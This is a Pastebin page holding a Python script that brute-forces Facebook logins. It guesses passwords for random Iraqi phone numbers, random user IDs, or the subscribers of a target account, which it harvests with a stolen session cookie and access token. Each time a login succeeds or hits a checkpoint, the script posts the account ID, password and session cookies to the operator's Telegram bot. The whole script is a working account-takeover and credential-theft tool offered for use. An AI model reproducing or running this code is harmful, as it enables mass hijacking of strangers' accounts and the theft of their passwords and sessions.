Advertisement
SFSF4P

hunt face for 10d | @T6TUT

Aug 3rd, 2023 (edited)
4,083
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 10.49 KB | None | 0 0
  1.  
  2. # 2023 / 8 / 12 OVER
  3. # by : sofy_akm
  4.  
  5. import os,sys,time,random,json,requests,mechanize,re
  6. from mechanize import Browser
  7. from user_agent import generate_user_agent
  8. from requests import post
  9. from concurrent.futures import ThreadPoolExecutor
  10.  
  11.  
  12. def pr(z):
  13.     for e in z:
  14.      sys.stdout.write(e)
  15.      sys.stdout.flush()
  16.      time.sleep(0.002)
  17.  
  18.  
  19. W = "\033[0m"
  20. G = '\033[32;1m'
  21. R = '\033[31;1m'
  22. Y = '\033[33;1m'
  23. B = '\033[34;1m'
  24. P = '\033[35;1m'
  25. B2 = '\033[36;1m'
  26. cookie = []
  27. token = []
  28. id = []
  29. id_token = {'id':'', 'token':''}
  30. lop,ok,ck =0,0,0
  31.  
  32. class FB:
  33.    
  34.     def __init__(sfsf):
  35.         sfsf.logo = (f"""\n\n\n{W}      -  {R} #    {W}Coder: sFsF {R}      # {W} -  
  36.         -   {R}#  {W}TeLeGraM: YYYY02  {R}  # {W} -
  37.         -   {R}#  {W} Version: 2.0      {R} # {W} -\n\n""")
  38.         sfsf.start1 = (f"""\n\n {W}[{R} 1{W} ]{W} - random phone number .\n {W}[{R} 2{W} ]{W} - random ID .\n {W}[{R} 3{W} ]{W} - From Friends . \n\n{W}- - - - - - - - - - - - - -""")
  39.  
  40.         sfsf.passwords =  ["11223344","123@123","aassddff","qqwweerr","1q2w3e4r","1234@1234","1234@qwer","10293857@"]
  41.        
  42.  
  43.    
  44.        
  45.  
  46. #؁؁؁؁؁؁؁؁؁؁؁؁؁
  47.     def loggin(sfsf,ID,p):
  48.         sfsf.session = requests.Session()
  49.         head = {'Host': 'm.facebook.com', 'viewport-width': '980',  'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="101", "Google Chrome";v="101"', 'sec-ch-ua-mobile': '?1', 'sec-ch-ua-platform':'"Android"', 'sec-ch-prefers-color-scheme': 'light', 'dnt': '1', 'upgrade-insecure-requests': '1', 'user-agent': generate_user_agent(), 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'sec-fetch-site': 'same-origin', 'sec-fetch-mode': 'navigate', 'sec-fetch-user': '?1', 'sec-fetch-dest': 'document', 'accept-encoding': 'gzip, deflate, br', 'accept-language': 'en-US,en;q=0.9'}
  50.         getlog = sfsf.session.get(f'https://mbasic.facebook.com/login/device-based/password/?uid={ID}&flow=login_no_pin&refsrc=deprecated&_rdr')
  51.         idpass ={"lsd":re.search(f'name="lsd" value="(.*?)"', str(getlog.text)).group(1),"jazoest":re.search(f'name="jazoest" value="(.*?)"', str(getlog.text)).group(1),"uid":ID,"next":"https://mbasic.facebook.com/login/save-device/","flow":"login_no_pin","pass":p,}
  52.         complete = sfsf.session.post(f'https://mbasic.facebook.com/login/device-based/validate-password/?shbl=0',data=idpass,allow_redirects=False,headers=head)
  53.         return sfsf.session
  54.    
  55.  
  56.  
  57. #؁؁؁؁؁؁؁؁؁؁؁؁؁
  58.     def cokk(sfsf,cook):
  59.         sfsf.session = requests.Session()
  60.         os.system('clear')
  61.         try:
  62.             get_tok = sfsf.session.get('https://business.facebook.com/business_locations',headers = {"user-agent":generate_user_agent(),"referer": "https://www.facebook.com/","host": "business.facebook.com","origin": "https://business.facebook.com","upgrade-insecure-requests" : "1","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7","cache-control": "max-age=0","accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","content-type":"text/html; charset=utf-8"},cookies = {"cookie":cook})
  63.             tok = re.search("(EAAG\w+)", get_tok.text).group(1)
  64.             coki = {"cookie":cook}
  65.             nama = sfsf.session.get('https://graph.facebook.com/me?fields=name,id&access_token=%s'%(tok),cookies=coki).json()["name"]
  66.             print(G,"\n\n - Cookie correct  ")
  67.             token.append(tok)
  68.             cookie.append(coki)
  69.             time.sleep(2)
  70.             return True
  71.         except requests.exceptions.ConnectionError:
  72.             print(R," - Cookie error  Try Again ")
  73.             return False
  74.             time.sleep(2)
  75.            
  76.         except (KeyError,IOError,AttributeError):
  77.             print(R," - Cookie error  Try Again . ")
  78.             return False
  79.             rime.sleep(2)
  80.            
  81.    
  82.  
  83.  
  84. #؁؁؁؁؁؁؁؁؁؁؁؁؁
  85.     def generate_num(sfsf):
  86.         return ''.join(random.choices('0123456789', k=8))
  87.     def generate_id(sfsf):
  88.         return "1000"+ ''.join(random.choices('0123456789', k=11))
  89.        
  90.     def token_id(sfsf):
  91.         os.system("clear")
  92.         pr(sfsf.logo)
  93.         pr(W+'\n\n| Enter'+R+' Token Bot |')
  94.         sfsf.t = input(G+' \n  ==> ')
  95.         pr(W+'\n\n| Enter '+R+' ID TeleGram |')
  96.         sfsf.i = input(G+' \n  ==> ')
  97.         id_token['id'] = sfsf.i
  98.         id_token['token'] = sfsf.t
  99.  
  100. #؁؁؁؁؁؁؁؁؁؁؁؁؁
  101.     def num(sfsf):
  102.         FB().token_id()
  103.         pr(f'\n\n {R}|{W} Enter password to begin hunt FB account {R} |')
  104.         PSW = input(G+' \n  ==> ')
  105.         os.system('clear')
  106.         pr(sfsf.logo)
  107.         print("\n\n\n\n")
  108.         with ThreadPoolExecutor(max_workers=10) as boy:
  109.             while True:
  110.                 gen = FB().generate_num()
  111.                 cod = "077","078","075"
  112.                 c = random.choice(cod)
  113.                 if PSW == '':
  114.                     ID = "+964"+c+gen
  115.                     p = c+gen
  116.                 else:
  117.                     ID = "+964"+c+gen
  118.                     p=PSW
  119.                    
  120.                 try:
  121.                     boy.submit(FB().brute1,ID,p)
  122.                 except:pass
  123.        
  124.        
  125.  
  126.  
  127. #؁؁؁؁؁؁؁؁؁؁؁؁؁
  128.     def id(sfsf):
  129.         FB().token_id()
  130.         pr(f'\n\n {R}|{W} Enter password to begin hunt FB account {R} |')
  131.         PSW = input(G+' \n  ==> ')
  132.         os.system('clear')
  133.         pr(sfsf.logo)
  134.         print("\n\n\n\n")
  135.         with ThreadPoolExecutor(max_workers=10) as boy:
  136.             while True:
  137.                 ID = FB().generate_id()
  138.                 if PSW == '':
  139.                     try:
  140.                         for p in sfsf.passwords:
  141.                             boy.submit(FB().brute1,ID,p)
  142.                     except:pass
  143.                 else:
  144.                     p = PSW
  145.                     try:
  146.                         boy.submit(FB().brute1,ID,p)
  147.                     except:pass
  148.                
  149.        
  150.            
  151. #؁؁؁؁؁؁؁؁؁؁؁؁؁
  152.     def brute1(sfsf,ID,pwx):
  153.         global ok,ck,lop
  154.         lop+=1
  155.         sys.stdout.write(f"\r            {R} -  {W} {lop} {R}|{G} Haked : {ok}{R} | {Y} Secure  : {ck} {R}  - ");sys.stdout.flush()
  156.         try:
  157.             if True:
  158.                 result = FB().loggin(ID,pwx)
  159.                 if "c_user" in result.cookies.get_dict():
  160.                     koki = (";").join([ "%s=%s" % (key, value) for key, value in result.cookies.get_dict().items() ])
  161.                     koki+=' m_pixel_ratio=2.625; wd=412x756'
  162.                     print(koki)
  163.                     ok+=1
  164.                     requests.post(f"https://api.telegram.org/bot{id_token['token']}/sendMessage?chat_id={id_token['id']}&text=تم صيد حساب فيسبوك شـغـال ✅\n- - - - - - - - - - - - - - - - - - - - - - -‌\n  \n\n✦𝐄𝐦𝐚𝐢𝐥  : {ID}\n✦ 𝐏𝐚𝐬𝐬 : {pwx}\n\n✦ cookies  : {koki} \n\n - - - - - - - - - - - - - - -  " )
  165.                    
  166.                 elif "checkpoint" in result.cookies.get_dict():
  167.                     ck+=1
  168.                     requests.post(f"https://api.telegram.org/bot{id_token['token']}/sendMessage?chat_id={id_token['id']}&text=تم صيد حساب فيسبوك سكيـور ✅\n- - - - - - - - - - - - - - - - - - - - - - -‌\n  \n\n✦𝐄𝐦𝐚𝐢𝐥  : {ID}\n✦ 𝐏𝐚𝐬𝐬 : {pwx}\n\n✦ cookies  : {koki} \n\n - - - - - - - - - - - - - - -  " )
  169.                    
  170.                 else:
  171.                     pass
  172.            
  173.         except requests.exceptions.ConnectionError:
  174.             time.sleep(3)
  175.             brute1(ID,pwx)
  176. #؁؁؁؁؁؁؁؁؁؁؁؁؁
  177.     def target(sfsf,user,token,cookie):
  178.         try:
  179.             x = requests.get(f'https://graph.facebook.com/'+user+'?fields=subscribers.limit(50000)&access_token='+token,cookies={"cookies":str(cookie)}).json()
  180.             for z in x['subscribers']['data']:
  181.                 try:id.append(z['id']+':'+z['name'])
  182.                 except:continue
  183.             return True
  184.         except:
  185.             return False
  186.  
  187. #؁؁؁؁؁؁؁؁؁؁؁؁؁
  188.     def sub(sfsf,t,c):
  189.         os.system("clear")
  190.         pr(sfsf.logo)
  191.         tr = input(G+'\n\n  -  ID Target : ')
  192.         if FB().target(tr,t[0],c[0]):
  193.             if len(id)== 0:
  194.                 pr(f'\n\n{W} ~ {W}chose another {R}ID {W}Target ...')
  195.                 time.sleep(1.5)
  196.                 FB().sub(t,c)
  197.             else:
  198.                 pass
  199.             pass
  200.         else:
  201.             pr(f'\n\n{W} ~ {W}chose another {R}ID {W}Target ...')
  202.             time.sleep(1.5)
  203.             FB().sub(t,c)
  204.         i = len(id)
  205.         pr(f"\n\n {G}  √ Total Ids : {R} {i}")
  206.         time.sleep(2)
  207.         FB().token_id()
  208.         pr(f'\n\n {R}|{W} Enter password to begin hunt FB account {R} |\n\n- {W} You Can Skip This Step By Enter ⏩')
  209.         PSW = input(R+' \n  ==> ')
  210.         os.system("clear")
  211.         print(sfsf.logo)
  212.         print("\n\n")
  213.         if PSW == "":
  214.             with ThreadPoolExecutor(max_workers=20) as boy:
  215.                 for user in id:
  216.                     try:
  217.                         uid,name = user.split(":")
  218.                         mocii = name.split(" ")
  219.                         if len(mocii) == 1:
  220.                             pwx = [name, mocii[0]+"123",mocii[0]+"12345"]
  221.                             for p in sfsf.passwords:
  222.                                 pwx.append(p)
  223.                         elif len(mocii) == 2:
  224.                             pwx = [name, mocii[0]+"123",mocii[0]+"12345",mocii[:2]+"123"]
  225.                             for p in sfsf.passwords:
  226.                                 pwx.append(p)
  227.                         elif len(mocii) == 3:
  228.                             pwx = [name, mocii[0]+"123",mocii[0]+"12345",mocii[:2]+"123"]
  229.                             for p in sfsf.passwords:
  230.                                 pwx.append(p)
  231.                         else:
  232.                             pwx = [name]
  233.                             for p in sfsf.passwords:
  234.                                 pwx.append(p)
  235.                         clas = FB()
  236.                         boy.submit(clas.brute2,uid,pwx)
  237.                     except:pass
  238.             exit("\n END ")
  239.         else:
  240.             with ThreadPoolExecutor(max_workers=10) as boy:
  241.                 for user in id:
  242.                     try:
  243.                         uid,name = user.split(":")
  244.                         clas = FB()
  245.                         boy.submit(clas.brute2,uid,PSW)
  246.                     except:pass
  247.             exit("\n END")
  248.            
  249.            
  250.     def brute2(sfsf,ID,pwx):
  251.         global ok,ck,lop
  252.         lop+=1
  253.         sys.stdout.write(f"\r          {W} -{R}  {len(id)}{R} |{W} {lop} {R}|{G} Haked : {ok}{R} | {Y} Secure : {ck} {W} - ");sys.stdout.flush()
  254.         try:
  255.             for xx in pwx:
  256.                 PS = xx.lower()
  257.                 result = FB().loggin(ID,PS)
  258.                 if "c_user" in result.cookies.get_dict():
  259.                     koki = (";").join([ "%s=%s" % (key, value) for key, value in result.cookies.get_dict().items() ])
  260.                     koki+=' m_pixel_ratio=2.625; wd=412x756'
  261.                     ok+=1
  262.                     requests.post(f"https://api.telegram.org/bot{id_token['token']}/sendMessage?chat_id={id_token['id']}&text=تم صيد حساب فيسبوك شـغـال ✅\n- - - - - - - - - - - - - - - - - - - - - - -‌\n \n✦𝐄𝐦𝐚𝐢𝐥  : {ID}\n✦ 𝐏𝐚𝐬𝐬 : {PS}\n✦ cookies  : {koki}\n\n - - - - - - - - - - - - - - - -  " )
  263.                        
  264.                 elif "checkpoint" in result.cookies.get_dict():
  265.                     ck+=1
  266.                     requests.post(f"https://api.telegram.org/bot{id_token['token']}/sendMessage?chat_id={id_token['id']}&text=تم صيد حساب فيسبوك سكيور ✅\n- - - - - - - - - - - - - - - - - - - - - - -‌\n  \n✦𝐄𝐦𝐚𝐢𝐥  : {ID}\n✦ 𝐏𝐚𝐬𝐬 : {PS}\n\n - - - - - - - - - - - - - - - -  " )
  267.                 else:
  268.                     pass
  269.         except requests.exceptions.ConnectionError:
  270.             time.sleep(3)
  271.             brute2(ID,pwx)
  272. #؁؁؁؁؁؁؁؁؁؁؁؁؁
  273.     def choice(sfsf):
  274.         os.system('clear')
  275.         pr(sfsf.logo)
  276.         pr(sfsf.start1)
  277.         ch = input(f"\n\n{R}- {W}choice : ")
  278.         if ch == "1":
  279.             FB().num()
  280.         elif ch == "2":
  281.             FB().id()
  282.         elif ch == '3':
  283.             os.system('clear')
  284.             pr(sfsf.logo)
  285.             sfsf.cookies= input(f"\n{G} - {W}Enter CooKies :{G} ")
  286.             if FB().cokk(sfsf.cookies):
  287.                 t = token
  288.                 c = cookie
  289.                 FB().sub(t,c)
  290.             else:
  291.                 pr(f'\n\n{W}~ {R}CooKies Failed ...')
  292.                 time.sleep(2)
  293.                 FB().choice()
  294.         else:
  295.             FB().choice()
  296.  
  297.  
  298.  
  299.  
  300.  
  301. FB().choice()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement